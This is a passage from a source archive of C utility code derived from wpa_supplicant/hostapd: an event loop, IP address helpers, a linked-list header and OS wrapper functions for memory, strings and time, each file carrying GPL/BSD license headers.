eloop.event_count; i++) { if (eloop.events[i].event == h) break; } if (i == eloop.event_count) return; if (i != eloop.event_count - 1) { os_memmove(&eloop.events[i], &eloop.events[i + 1], (eloop.event_count - i - 1) * sizeof(struct eloop_event)); } eloop.event_count--; } int eloop_register_timeout(unsigned int secs, unsigned int usecs, eloop_timeout_handler handler, void *eloop_data, void *user_data) { struct eloop_timeout *timeout, *tmp, *prev; timeout = os_malloc(sizeof(*timeout)); if (timeout == NULL) return -1; os_get_time(&timeout->time); timeout->time.sec += secs; timeout->time.usec += usecs; while (timeout->time.usec >= 1000000) { timeout->time.sec++; timeout->time.usec -= 1000000; } timeout->eloop_data = eloop_data; timeout->user_data = user_data; timeout->handler = handler; timeout->next = NULL; if (eloop.timeout == NULL) { eloop.timeout = timeout; return 0; } prev = NULL; tmp = eloop.timeout; while (tmp != NULL) { if (os_time_before(&timeout->time, &tmp->time)) break; prev = tmp; tmp = tmp->next; } if (prev == NULL) { timeout->next = eloop.timeout; eloop.timeout = timeout; } else { timeout->next = prev->next; prev->next = timeout; } return 0; } int eloop_cancel_timeout(eloop_timeout_handler handler, void *eloop_data, void *user_data) { struct eloop_timeout *timeout, *prev, *next; int removed = 0; prev = NULL; timeout = eloop.timeout; while (timeout != NULL) { next = timeout->next; if (timeout->handler == handler && (timeout->eloop_data == eloop_data || eloop_data == ELOOP_ALL_CTX) && (timeout->user_data == user_data || user_data == ELOOP_ALL_CTX)) { if (prev == NULL) eloop.timeout = next; else prev->next = next; os_free(timeout); removed++; } else prev = timeout; timeout = next; } return removed; } int eloop_is_timeout_registered(eloop_timeout_handler handler, void *eloop_data, void *user_data) { struct eloop_timeout *tmp; tmp = eloop.timeout; while (tmp != NULL) { if (tmp->handler == handler && tmp->eloop_data == eloop_data && tmp->user_data == user_data) return 1; tmp = tmp->next; } return 0; } /* TODO: replace with suitable signal handler */ #if 0 static void eloop_handle_signal(int sig) { int i; eloop.signaled++; for (i = 0; i < eloop.signal_count; i++) { if (eloop.signals[i].sig == sig) { eloop.signals[i].signaled++; break; } } } #endif static void eloop_process_pending_signals(void) { int i; if (eloop.signaled == 0) return; eloop.signaled = 0; if (eloop.pending_terminate) { eloop.pending_terminate = 0; } for (i = 0; i < eloop.signal_count; i++) { if (eloop.signals[i].signaled) { eloop.signals[i].signaled = 0; eloop.signals[i].handler(eloop.signals[i].sig, eloop.signals[i].user_data); } } if (eloop.term_signal.signaled) { eloop.term_signal.signaled = 0; eloop.term_signal.handler(eloop.term_signal.sig, eloop.term_signal.user_data); } } int eloop_register_signal(int sig, eloop_signal_handler handler, void *user_data) { struct eloop_signal *tmp; tmp = os_realloc(eloop.signals, (eloop.signal_count + 1) * sizeof(struct eloop_signal)); if (tmp == NULL) return -1; tmp[eloop.signal_count].sig = sig; tmp[eloop.signal_count].user_data = user_data; tmp[eloop.signal_count].handler = handler; tmp[eloop.signal_count].signaled = 0; eloop.signal_count++; eloop.signals = tmp; /* TODO: register signal handler */ return 0; } #ifndef _WIN32_WCE static BOOL eloop_handle_console_ctrl(DWORD type) { switch (type) { case CTRL_C_EVENT: case CTRL_BREAK_EVENT: eloop.signaled++; eloop.term_signal.signaled++; SetEvent(eloop.term_event); return TRUE; default: return FALSE; } } #endif /* _WIN32_WCE */ int eloop_register_signal_terminate(eloop_signal_handler handler, void *user_data) { #ifndef _WIN32_WCE if (SetConsoleCtrlHandler((PHANDLER_ROUTINE) eloop_handle_console_ctrl, TRUE) == 0) { printf("SetConsoleCtrlHandler() failed: %d\n", (int) GetLastError()); return -1; } #endif /* _WIN32_WCE */ eloop.term_signal.handler = handler; eloop.term_signal.user_data = user_data; return 0; } int eloop_register_signal_reconfig(eloop_signal_handler handler, void *user_data) { /* TODO */ return 0; } void eloop_run(void) { struct os_time tv, now; DWORD count, ret, timeout, err; size_t i; while (!eloop.terminate && (eloop.timeout || eloop.reader_count > 0 || eloop.event_count > 0)) { tv.sec = tv.usec = 0; if (eloop.timeout) { os_get_time(&now); if (os_time_before(&now, &eloop.timeout->time)) os_time_sub(&eloop.timeout->time, &now, &tv); } count = 0; for (i = 0; i < eloop.event_count; i++) eloop.handles[count++] = eloop.events[i].event; for (i = 0; i < eloop.reader_count; i++) eloop.handles[count++] = eloop.readers[i].event; if (eloop.term_event) eloop.handles[count++] = eloop.term_event; if (eloop.timeout) timeout = tv.sec * 1000 + tv.usec / 1000; else timeout = INFINITE; if (count > MAXIMUM_WAIT_OBJECTS) { printf("WaitForMultipleObjects: Too many events: " "%d > %d (ignoring extra events)\n", (int) count, MAXIMUM_WAIT_OBJECTS); count = MAXIMUM_WAIT_OBJECTS; } #ifdef _WIN32_WCE ret = WaitForMultipleObjects(count, eloop.handles, FALSE, timeout); #else /* _WIN32_WCE */ ret = WaitForMultipleObjectsEx(count, eloop.handles, FALSE, timeout, TRUE); #endif /* _WIN32_WCE */ err = GetLastError(); eloop_process_pending_signals(); /* check if some registered timeouts have occurred */ if (eloop.timeout) { struct eloop_timeout *tmp; os_get_time(&now); if (!os_time_before(&now, &eloop.timeout->time)) { tmp = eloop.timeout; eloop.timeout = eloop.timeout->next; tmp->handler(tmp->eloop_data, tmp->user_data); os_free(tmp); } } if (ret == WAIT_FAILED) { printf("WaitForMultipleObjects(count=%d) failed: %d\n", (int) count, (int) err); os_sleep(1, 0); continue; } #ifndef _WIN32_WCE if (ret == WAIT_IO_COMPLETION) continue; #endif /* _WIN32_WCE */ if (ret == WAIT_TIMEOUT) continue; while (ret >= WAIT_OBJECT_0 && ret < WAIT_OBJECT_0 + eloop.event_count) { eloop.events[ret].handler( eloop.events[ret].eloop_data, eloop.events[ret].user_data); ret = WaitForMultipleObjects(eloop.event_count, eloop.handles, FALSE, 0); } eloop.reader_table_changed = 0; for (i = 0; i < eloop.reader_count; i++) { WSANETWORKEVENTS events; if (WSAEnumNetworkEvents(eloop.readers[i].sock, eloop.readers[i].event, &events) == 0 && (events.lNetworkEvents & FD_READ)) { eloop.readers[i].handler( eloop.readers[i].sock, eloop.readers[i].eloop_data, eloop.readers[i].user_data); if (eloop.reader_table_changed) break; } } } } void eloop_terminate(void) { eloop.terminate = 1; SetEvent(eloop.term_event); } void eloop_destroy(void) { struct eloop_timeout *timeout, *prev; timeout = eloop.timeout; while (timeout != NULL) { prev = timeout; timeout = timeout->next; os_free(prev); } os_free(eloop.readers); os_free(eloop.signals); if (eloop.term_event) CloseHandle(eloop.term_event); os_free(eloop.handles); eloop.handles = NULL; os_free(eloop.events); eloop.events = NULL; } int eloop_terminated(void) { return eloop.terminate; } void eloop_wait_for_read_sock(int sock) { WSAEVENT event; event = WSACreateEvent(); if (event == WSA_INVALID_EVENT) { printf("WSACreateEvent() failed: %d\n", WSAGetLastError()); return; } if (WSAEventSelect(sock, event, FD_READ)) { printf("WSAEventSelect() failed: %d\n", WSAGetLastError()); WSACloseEvent(event); return ; } WaitForSingleObject(event, INFINITE); WSAEventSelect(sock, event, 0); WSACloseEvent(event); } bully-1.4-00/src/utils/includes.h000077500000000000000000000030271361530463600166440ustar00rootroot00000000000000/* * wpa_supplicant/hostapd - Default include files * Copyright (c) 2005-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. * * This header file is included into all C files so that commonly used header * files can be selected with OS specific ifdef blocks in one place instead of * having to have OS/C library specific selection in many files. */ #ifndef INCLUDES_H #define INCLUDES_H /* Include possible build time configuration before including anything else */ #include "build_config.h" #include #include #include #include #ifndef _WIN32_WCE #ifndef CONFIG_TI_COMPILER #include #include #endif /* CONFIG_TI_COMPILER */ #include #endif /* _WIN32_WCE */ #include #include #ifndef CONFIG_TI_COMPILER #ifndef _MSC_VER #include #endif /* _MSC_VER */ #endif /* CONFIG_TI_COMPILER */ #ifndef CONFIG_NATIVE_WINDOWS #ifndef CONFIG_TI_COMPILER #include #include #include #ifndef __vxworks #ifndef __SYMBIAN32__ #include #endif /* __SYMBIAN32__ */ #include #endif /* __vxworks */ #endif /* CONFIG_TI_COMPILER */ #endif /* CONFIG_NATIVE_WINDOWS */ #endif /* INCLUDES_H */ bully-1.4-00/src/utils/ip_addr.c000077500000000000000000000032211361530463600164270ustar00rootroot00000000000000/* * IP address processing * Copyright (c) 2003-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "ip_addr.h" const char * hostapd_ip_txt(const struct hostapd_ip_addr *addr, char *buf, size_t buflen) { if (buflen == 0 || addr == NULL) return NULL; if (addr->af == AF_INET) { os_strlcpy(buf, inet_ntoa(addr->u.v4), buflen); } else { buf[0] = '\0'; } #ifdef CONFIG_IPV6 if (addr->af == AF_INET6) { if (inet_ntop(AF_INET6, &addr->u.v6, buf, buflen) == NULL) buf[0] = '\0'; } #endif /* CONFIG_IPV6 */ return buf; } int hostapd_ip_diff(struct hostapd_ip_addr *a, struct hostapd_ip_addr *b) { if (a == NULL && b == NULL) return 0; if (a == NULL || b == NULL) return 1; switch (a->af) { case AF_INET: if (a->u.v4.s_addr != b->u.v4.s_addr) return 1; break; #ifdef CONFIG_IPV6 case AF_INET6: if (os_memcmp(&a->u.v6, &b->u.v6, sizeof(a->u.v6)) != 0) return 1; break; #endif /* CONFIG_IPV6 */ } return 0; } int hostapd_parse_ip_addr(const char *txt, struct hostapd_ip_addr *addr) { #ifndef CONFIG_NATIVE_WINDOWS if (inet_aton(txt, &addr->u.v4)) { addr->af = AF_INET; return 0; } #ifdef CONFIG_IPV6 if (inet_pton(AF_INET6, txt, &addr->u.v6) > 0) { addr->af = AF_INET6; return 0; } #endif /* CONFIG_IPV6 */ #endif /* CONFIG_NATIVE_WINDOWS */ return -1; } bully-1.4-00/src/utils/ip_addr.h000077500000000000000000000016061361530463600164410ustar00rootroot00000000000000/* * IP address processing * Copyright (c) 2003-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef IP_ADDR_H #define IP_ADDR_H struct hostapd_ip_addr { int af; /* AF_INET / AF_INET6 */ union { struct in_addr v4; #ifdef CONFIG_IPV6 struct in6_addr v6; #endif /* CONFIG_IPV6 */ u8 max_len[16]; } u; }; const char * hostapd_ip_txt(const struct hostapd_ip_addr *addr, char *buf, size_t buflen); int hostapd_ip_diff(struct hostapd_ip_addr *a, struct hostapd_ip_addr *b); int hostapd_parse_ip_addr(const char *txt, struct hostapd_ip_addr *addr); #endif /* IP_ADDR_H */ bully-1.4-00/src/utils/list.h000077500000000000000000000042151361530463600160110ustar00rootroot00000000000000/* * Doubly-linked list * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef LIST_H #define LIST_H /** * struct dl_list - Doubly-linked list */ struct dl_list { struct dl_list *next; struct dl_list *prev; }; static inline void dl_list_init(struct dl_list *list) { list->next = list; list->prev = list; } static inline void dl_list_add(struct dl_list *list, struct dl_list *item) { item->next = list->next; item->prev = list; list->next->prev = item; list->next = item; } static inline void dl_list_add_tail(struct dl_list *list, struct dl_list *item) { dl_list_add(list->prev, item); } static inline void dl_list_del(struct dl_list *item) { item->next->prev = item->prev; item->prev->next = item->next; item->next = NULL; item->prev = NULL; } static inline int dl_list_empty(struct dl_list *list) { return list->next == list; } static inline unsigned int dl_list_len(struct dl_list *list) { struct dl_list *item; int count = 0; for (item = list->next; item != list; item = item->next) count++; return count; } #ifndef offsetof #define offsetof(type, member) ((long) &((type *) 0)->member) #endif #define dl_list_entry(item, type, member) \ ((type *) ((char *) item - offsetof(type, member))) #define dl_list_first(list, type, member) \ (dl_list_empty((list)) ? NULL : \ dl_list_entry((list)->next, type, member)) #define dl_list_for_each(item, list, type, member) \ for (item = dl_list_entry((list)->next, type, member); \ &item->member != (list); \ item = dl_list_entry(item->member.next, type, member)) #define dl_list_for_each_safe(item, n, list, type, member) \ for (item = dl_list_entry((list)->next, type, member), \ n = dl_list_entry(item->member.next, type, member); \ &item->member != (list); \ item = n, n = dl_list_entry(n->member.next, type, member)) #endif /* LIST_H */ bully-1.4-00/src/utils/os.h000077500000000000000000000357021361530463600154640ustar00rootroot00000000000000/* * OS specific functions * Copyright (c) 2005-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef OS_H #define OS_H typedef long os_time_t; /** * os_sleep - Sleep (sec, usec) * @sec: Number of seconds to sleep * @usec: Number of microseconds to sleep */ void os_sleep(os_time_t sec, os_time_t usec); struct os_time { os_time_t sec; os_time_t usec; }; /** * os_get_time - Get current time (sec, usec) * @t: Pointer to buffer for the time * Returns: 0 on success, -1 on failure */ int os_get_time(struct os_time *t); /* Helper macros for handling struct os_time */ #define os_time_before(a, b) \ ((a)->sec < (b)->sec || \ ((a)->sec == (b)->sec && (a)->usec < (b)->usec)) #define os_time_sub(a, b, res) do { \ (res)->sec = (a)->sec - (b)->sec; \ (res)->usec = (a)->usec - (b)->usec; \ if ((res)->usec < 0) { \ (res)->sec--; \ (res)->usec += 1000000; \ } \ } while (0) /** * os_mktime - Convert broken-down time into seconds since 1970-01-01 * @year: Four digit year * @month: Month (1 .. 12) * @day: Day of month (1 .. 31) * @hour: Hour (0 .. 23) * @min: Minute (0 .. 59) * @sec: Second (0 .. 60) * @t: Buffer for returning calendar time representation (seconds since * 1970-01-01 00:00:00) * Returns: 0 on success, -1 on failure * * Note: The result is in seconds from Epoch, i.e., in UTC, not in local time * which is used by POSIX mktime(). */ int os_mktime(int year, int month, int day, int hour, int min, int sec, os_time_t *t); /** * os_daemonize - Run in the background (detach from the controlling terminal) * @pid_file: File name to write the process ID to or %NULL to skip this * Returns: 0 on success, -1 on failure */ int os_daemonize(const char *pid_file); /** * os_daemonize_terminate - Stop running in the background (remove pid file) * @pid_file: File name to write the process ID to or %NULL to skip this */ void os_daemonize_terminate(const char *pid_file); /** * os_get_random - Get cryptographically strong pseudo random data * @buf: Buffer for pseudo random data * @len: Length of the buffer * Returns: 0 on success, -1 on failure */ int os_get_random(unsigned char *buf, size_t len); /** * os_random - Get pseudo random value (not necessarily very strong) * Returns: Pseudo random value */ unsigned long os_random(void); /** * os_rel2abs_path - Get an absolute path for a file * @rel_path: Relative path to a file * Returns: Absolute path for the file or %NULL on failure * * This function tries to convert a relative path of a file to an absolute path * in order for the file to be found even if current working directory has * changed. The returned value is allocated and caller is responsible for * freeing it. It is acceptable to just return the same path in an allocated * buffer, e.g., return strdup(rel_path). This function is only used to find * configuration files when os_daemonize() may have changed the current working * directory and relative path would be pointing to a different location. */ char * os_rel2abs_path(const char *rel_path); /** * os_program_init - Program initialization (called at start) * Returns: 0 on success, -1 on failure * * This function is called when a programs starts. If there are any OS specific * processing that is needed, it can be placed here. It is also acceptable to * just return 0 if not special processing is needed. */ int os_program_init(void); /** * os_program_deinit - Program deinitialization (called just before exit) * * This function is called just before a program exists. If there are any OS * specific processing, e.g., freeing resourced allocated in os_program_init(), * it should be done here. It is also acceptable for this function to do * nothing. */ void os_program_deinit(void); /** * os_setenv - Set environment variable * @name: Name of the variable * @value: Value to set to the variable * @overwrite: Whether existing variable should be overwritten * Returns: 0 on success, -1 on error * * This function is only used for wpa_cli action scripts. OS wrapper does not * need to implement this if such functionality is not needed. */ int os_setenv(const char *name, const char *value, int overwrite); /** * os_unsetenv - Delete environent variable * @name: Name of the variable * Returns: 0 on success, -1 on error * * This function is only used for wpa_cli action scripts. OS wrapper does not * need to implement this if such functionality is not needed. */ int os_unsetenv(const char *name); /** * os_readfile - Read a file to an allocated memory buffer * @name: Name of the file to read * @len: For returning the length of the allocated buffer * Returns: Pointer to the allocated buffer or %NULL on failure * * This function allocates memory and reads the given file to this buffer. Both * binary and text files can be read with this function. The caller is * responsible for freeing the returned buffer with os_free(). */ char * os_readfile(const char *name, size_t *len); /** * os_zalloc - Allocate and zero memory * @size: Number of bytes to allocate * Returns: Pointer to allocated and zeroed memory or %NULL on failure * * Caller is responsible for freeing the returned buffer with os_free(). */ void * os_zalloc(size_t size); /* * The following functions are wrapper for standard ANSI C or POSIX functions. * By default, they are just defined to use the standard function name and no * os_*.c implementation is needed for them. This avoids extra function calls * by allowing the C pre-processor take care of the function name mapping. * * If the target system uses a C library that does not provide these functions, * build_config.h can be used to define the wrappers to use a different * function name. This can be done on function-by-function basis since the * defines here are only used if build_config.h does not define the os_* name. * If needed, os_*.c file can be used to implement the functions that are not * included in the C library on the target system. Alternatively, * OS_NO_C_LIB_DEFINES can be defined to skip all defines here in which case * these functions need to be implemented in os_*.c file for the target system. */ #ifdef OS_NO_C_LIB_DEFINES /** * os_malloc - Allocate dynamic memory * @size: Size of the buffer to allocate * Returns: Allocated buffer or %NULL on failure * * Caller is responsible for freeing the returned buffer with os_free(). */ void * os_malloc(size_t size); /** * os_realloc - Re-allocate dynamic memory * @ptr: Old buffer from os_malloc() or os_realloc() * @size: Size of the new buffer * Returns: Allocated buffer or %NULL on failure * * Caller is responsible for freeing the returned buffer with os_free(). * If re-allocation fails, %NULL is returned and the original buffer (ptr) is * not freed and caller is still responsible for freeing it. */ void * os_realloc(void *ptr, size_t size); /** * os_free - Free dynamic memory * @ptr: Old buffer from os_malloc() or os_realloc(); can be %NULL */ void os_free(void *ptr); /** * os_memcpy - Copy memory area * @dest: Destination * @src: Source * @n: Number of bytes to copy * Returns: dest * * The memory areas src and dst must not overlap. os_memmove() can be used with * overlapping memory. */ void * os_memcpy(void *dest, const void *src, size_t n); /** * os_memmove - Copy memory area * @dest: Destination * @src: Source * @n: Number of bytes to copy * Returns: dest * * The memory areas src and dst may overlap. */ void * os_memmove(void *dest, const void *src, size_t n); /** * os_memset - Fill memory with a constant byte * @s: Memory area to be filled * @c: Constant byte * @n: Number of bytes started from s to fill with c * Returns: s */ void * os_memset(void *s, int c, size_t n); /** * os_memcmp - Compare memory areas * @s1: First buffer * @s2: Second buffer * @n: Maximum numbers of octets to compare * Returns: An integer less than, equal to, or greater than zero if s1 is * found to be less than, to match, or be greater than s2. Only first n * characters will be compared. */ int os_memcmp(const void *s1, const void *s2, size_t n); /** * os_strdup - Duplicate a string * @s: Source string * Returns: Allocated buffer with the string copied into it or %NULL on failure * * Caller is responsible for freeing the returned buffer with os_free(). */ char * os_strdup(const char *s); /** * os_strlen - Calculate the length of a string * @s: '\0' terminated string * Returns: Number of characters in s (not counting the '\0' terminator) */ size_t os_strlen(const char *s); /** * os_strcasecmp - Compare two strings ignoring case * @s1: First string * @s2: Second string * Returns: An integer less than, equal to, or greater than zero if s1 is * found to be less than, to match, or be greatred than s2 */ int os_strcasecmp(const char *s1, const char *s2); /** * os_strncasecmp - Compare two strings ignoring case * @s1: First string * @s2: Second string * @n: Maximum numbers of characters to compare * Returns: An integer less than, equal to, or greater than zero if s1 is * found to be less than, to match, or be greater than s2. Only first n * characters will be compared. */ int os_strncasecmp(const char *s1, const char *s2, size_t n); /** * os_strchr - Locate the first occurrence of a character in string * @s: String * @c: Character to search for * Returns: Pointer to the matched character or %NULL if not found */ char * os_strchr(const char *s, int c); /** * os_strrchr - Locate the last occurrence of a character in string * @s: String * @c: Character to search for * Returns: Pointer to the matched character or %NULL if not found */ char * os_strrchr(const char *s, int c); /** * os_strcmp - Compare two strings * @s1: First string * @s2: Second string * Returns: An integer less than, equal to, or greater than zero if s1 is * found to be less than, to match, or be greatred than s2 */ int os_strcmp(const char *s1, const char *s2); /** * os_strncmp - Compare two strings * @s1: First string * @s2: Second string * @n: Maximum numbers of characters to compare * Returns: An integer less than, equal to, or greater than zero if s1 is * found to be less than, to match, or be greater than s2. Only first n * characters will be compared. */ int os_strncmp(const char *s1, const char *s2, size_t n); /** * os_strncpy - Copy a string * @dest: Destination * @src: Source * @n: Maximum number of characters to copy * Returns: dest */ char * os_strncpy(char *dest, const char *src, size_t n); /** * os_strstr - Locate a substring * @haystack: String (haystack) to search from * @needle: Needle to search from haystack * Returns: Pointer to the beginning of the substring or %NULL if not found */ char * os_strstr(const char *haystack, const char *needle); /** * os_snprintf - Print to a memory buffer * @str: Memory buffer to print into * @size: Maximum length of the str buffer * @format: printf format * Returns: Number of characters printed (not including trailing '\0'). * * If the output buffer is truncated, number of characters which would have * been written is returned. Since some C libraries return -1 in such a case, * the caller must be prepared on that value, too, to indicate truncation. * * Note: Some C library implementations of snprintf() may not guarantee null * termination in case the output is truncated. The OS wrapper function of * os_snprintf() should provide this guarantee, i.e., to null terminate the * output buffer if a C library version of the function is used and if that * function does not guarantee null termination. * * If the target system does not include snprintf(), see, e.g., * http://www.ijs.si/software/snprintf/ for an example of a portable * implementation of snprintf. */ int os_snprintf(char *str, size_t size, const char *format, ...); #else /* OS_NO_C_LIB_DEFINES */ #ifdef WPA_TRACE void * os_malloc(size_t size); void * os_realloc(void *ptr, size_t size); void os_free(void *ptr); char * os_strdup(const char *s); #else /* WPA_TRACE */ #ifndef os_malloc #define os_malloc(s) malloc((s)) #endif #ifndef os_realloc #define os_realloc(p, s) realloc((p), (s)) #endif #ifndef os_free #define os_free(p) free((p)) #endif #ifndef os_strdup #ifdef _MSC_VER #define os_strdup(s) _strdup(s) #else #define os_strdup(s) strdup(s) #endif #endif #endif /* WPA_TRACE */ #ifndef os_memcpy #define os_memcpy(d, s, n) memcpy((d), (s), (n)) #endif #ifndef os_memmove #define os_memmove(d, s, n) memmove((d), (s), (n)) #endif #ifndef os_memset #define os_memset(s, c, n) memset(s, c, n) #endif #ifndef os_memcmp #define os_memcmp(s1, s2, n) memcmp((s1), (s2), (n)) #endif #ifndef os_strlen #define os_strlen(s) strlen(s) #endif #ifndef os_strcasecmp #ifdef _MSC_VER #define os_strcasecmp(s1, s2) _stricmp((s1), (s2)) #else #define os_strcasecmp(s1, s2) strcasecmp((s1), (s2)) #endif #endif #ifndef os_strncasecmp #ifdef _MSC_VER #define os_strncasecmp(s1, s2, n) _strnicmp((s1), (s2), (n)) #else #define os_strncasecmp(s1, s2, n) strncasecmp((s1), (s2), (n)) #endif #endif #ifndef os_strchr #define os_strchr(s, c) strchr((s), (c)) #endif #ifndef os_strcmp #define os_strcmp(s1, s2) strcmp((s1), (s2)) #endif #ifndef os_strncmp #define os_strncmp(s1, s2, n) strncmp((s1), (s2), (n)) #endif #ifndef os_strncpy #define os_strncpy(d, s, n) strncpy((d), (s), (n)) #endif #ifndef os_strrchr #define os_strrchr(s, c) strrchr((s), (c)) #endif #ifndef os_strstr #define os_strstr(h, n) strstr((h), (n)) #endif #ifndef os_snprintf #ifdef _MSC_VER #define os_snprintf _snprintf #else #define os_snprintf snprintf #endif #endif #endif /* OS_NO_C_LIB_DEFINES */ /** * os_strlcpy - Copy a string with size bound and NUL-termination * @dest: Destination * @src: Source * @siz: Size of the target buffer * Returns: Total length of the target string (length of src) (not including * NUL-termination) * * This function matches in behavior with the strlcpy(3) function in OpenBSD. */ size_t os_strlcpy(char *dest, const char *src, size_t siz); #ifdef OS_REJECT_C_LIB_FUNCTIONS #define malloc OS_DO_NOT_USE_malloc #define realloc OS_DO_NOT_USE_realloc #define free OS_DO_NOT_USE_free #define memcpy OS_DO_NOT_USE_memcpy #define memmove OS_DO_NOT_USE_memmove #define memset OS_DO_NOT_USE_memset #define memcmp OS_DO_NOT_USE_memcmp #undef strdup #define strdup OS_DO_NOT_USE_strdup #define strlen OS_DO_NOT_USE_strlen #define strcasecmp OS_DO_NOT_USE_strcasecmp #define strncasecmp OS_DO_NOT_USE_strncasecmp #undef strchr #define strchr OS_DO_NOT_USE_strchr #undef strcmp #define strcmp OS_DO_NOT_USE_strcmp #undef strncmp #define strncmp OS_DO_NOT_USE_strncmp #undef strncpy #define strncpy OS_DO_NOT_USE_strncpy #define strrchr OS_DO_NOT_USE_strrchr #define strstr OS_DO_NOT_USE_strstr #undef snprintf #define snprintf OS_DO_NOT_USE_snprintf #define strcpy OS_DO_NOT_USE_strcpy #endif /* OS_REJECT_C_LIB_FUNCTIONS */ #endif /* OS_H */ bully-1.4-00/src/utils/os_internal.c000077500000000000000000000164731361530463600173570ustar00rootroot00000000000000/* * wpa_supplicant/hostapd / Internal implementation of OS specific functions * Copyright (c) 2005-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. * * This file is an example of operating system specific wrapper functions. * This version implements many of the functions internally, so it can be used * to fill in missing functions from the target system C libraries. * * Some of the functions are using standard C library calls in order to keep * this file in working condition to allow the functions to be tested on a * Linux target. Please note that OS_NO_C_LIB_DEFINES needs to be defined for * this file to work correctly. Note that these implementations are only * examples and are not optimized for speed. */ #include "includes.h" #undef OS_REJECT_C_LIB_FUNCTIONS #include "os.h" void os_sleep(os_time_t sec, os_time_t usec) { if (sec) sleep(sec); if (usec) usleep(usec); } int os_get_time(struct os_time *t) { int res; struct timeval tv; res = gettimeofday(&tv, NULL); t->sec = tv.tv_sec; t->usec = tv.tv_usec; return res; } int os_mktime(int year, int month, int day, int hour, int min, int sec, os_time_t *t) { struct tm tm; if (year < 1970 || month < 1 || month > 12 || day < 1 || day > 31 || hour < 0 || hour > 23 || min < 0 || min > 59 || sec < 0 || sec > 60) return -1; os_memset(&tm, 0, sizeof(tm)); tm.tm_year = year - 1900; tm.tm_mon = month - 1; tm.tm_mday = day; tm.tm_hour = hour; tm.tm_min = min; tm.tm_sec = sec; *t = (os_time_t) mktime(&tm); return 0; } int os_daemonize(const char *pid_file) { if (daemon(0, 0)) { perror("daemon"); return -1; } if (pid_file) { FILE *f = fopen(pid_file, "w"); if (f) { fprintf(f, "%u\n", getpid()); fclose(f); } } return -0; } void os_daemonize_terminate(const char *pid_file) { if (pid_file) unlink(pid_file); } int os_get_random(unsigned char *buf, size_t len) { FILE *f; size_t rc; f = fopen("/dev/urandom", "rb"); if (f == NULL) { printf("Could not open /dev/urandom.\n"); return -1; } rc = fread(buf, 1, len, f); fclose(f); return rc != len ? -1 : 0; } unsigned long os_random(void) { return random(); } char * os_rel2abs_path(const char *rel_path) { char *buf = NULL, *cwd, *ret; size_t len = 128, cwd_len, rel_len, ret_len; if (rel_path[0] == '/') return os_strdup(rel_path); for (;;) { buf = os_malloc(len); if (buf == NULL) return NULL; cwd = getcwd(buf, len); if (cwd == NULL) { os_free(buf); if (errno != ERANGE) { return NULL; } len *= 2; } else { break; } } cwd_len = strlen(cwd); rel_len = strlen(rel_path); ret_len = cwd_len + 1 + rel_len + 1; ret = os_malloc(ret_len); if (ret) { os_memcpy(ret, cwd, cwd_len); ret[cwd_len] = '/'; os_memcpy(ret + cwd_len + 1, rel_path, rel_len); ret[ret_len - 1] = '\0'; } os_free(buf); return ret; } int os_program_init(void) { return 0; } void os_program_deinit(void) { } int os_setenv(const char *name, const char *value, int overwrite) { return setenv(name, value, overwrite); } int os_unsetenv(const char *name) { #if defined(__FreeBSD__) || defined(__NetBSD__) unsetenv(name); return 0; #else return unsetenv(name); #endif } char * os_readfile(const char *name, size_t *len) { FILE *f; char *buf; f = fopen(name, "rb"); if (f == NULL) return NULL; fseek(f, 0, SEEK_END); *len = ftell(f); fseek(f, 0, SEEK_SET); buf = os_malloc(*len); if (buf == NULL) { fclose(f); return NULL; } if (fread(buf, 1, *len, f) != *len) { fclose(f); os_free(buf); return NULL; } fclose(f); return buf; } void * os_zalloc(size_t size) { void *n = os_malloc(size); if (n) os_memset(n, 0, size); return n; } void * os_malloc(size_t size) { return malloc(size); } void * os_realloc(void *ptr, size_t size) { return realloc(ptr, size); } void os_free(void *ptr) { free(ptr); } void * os_memcpy(void *dest, const void *src, size_t n) { char *d = dest; const char *s = src; while (n--) *d++ = *s++; return dest; } void * os_memmove(void *dest, const void *src, size_t n) { if (dest < src) os_memcpy(dest, src, n); else { /* overlapping areas */ char *d = (char *) dest + n; const char *s = (const char *) src + n; while (n--) *--d = *--s; } return dest; } void * os_memset(void *s, int c, size_t n) { char *p = s; while (n--) *p++ = c; return s; } int os_memcmp(const void *s1, const void *s2, size_t n) { const unsigned char *p1 = s1, *p2 = s2; if (n == 0) return 0; while (*p1 == *p2) { p1++; p2++; n--; if (n == 0) return 0; } return *p1 - *p2; } char * os_strdup(const char *s) { char *res; size_t len; if (s == NULL) return NULL; len = os_strlen(s); res = os_malloc(len + 1); if (res) os_memcpy(res, s, len + 1); return res; } size_t os_strlen(const char *s) { const char *p = s; while (*p) p++; return p - s; } int os_strcasecmp(const char *s1, const char *s2) { /* * Ignoring case is not required for main functionality, so just use * the case sensitive version of the function. */ return os_strcmp(s1, s2); } int os_strncasecmp(const char *s1, const char *s2, size_t n) { /* * Ignoring case is not required for main functionality, so just use * the case sensitive version of the function. */ return os_strncmp(s1, s2, n); } char * os_strchr(const char *s, int c) { while (*s) { if (*s == c) return (char *) s; s++; } return NULL; } char * os_strrchr(const char *s, int c) { const char *p = s; while (*p) p++; p--; while (p >= s) { if (*p == c) return (char *) p; p--; } return NULL; } int os_strcmp(const char *s1, const char *s2) { while (*s1 == *s2) { if (*s1 == '\0') break; s1++; s2++; } return *s1 - *s2; } int os_strncmp(const char *s1, const char *s2, size_t n) { if (n == 0) return 0; while (*s1 == *s2) { if (*s1 == '\0') break; s1++; 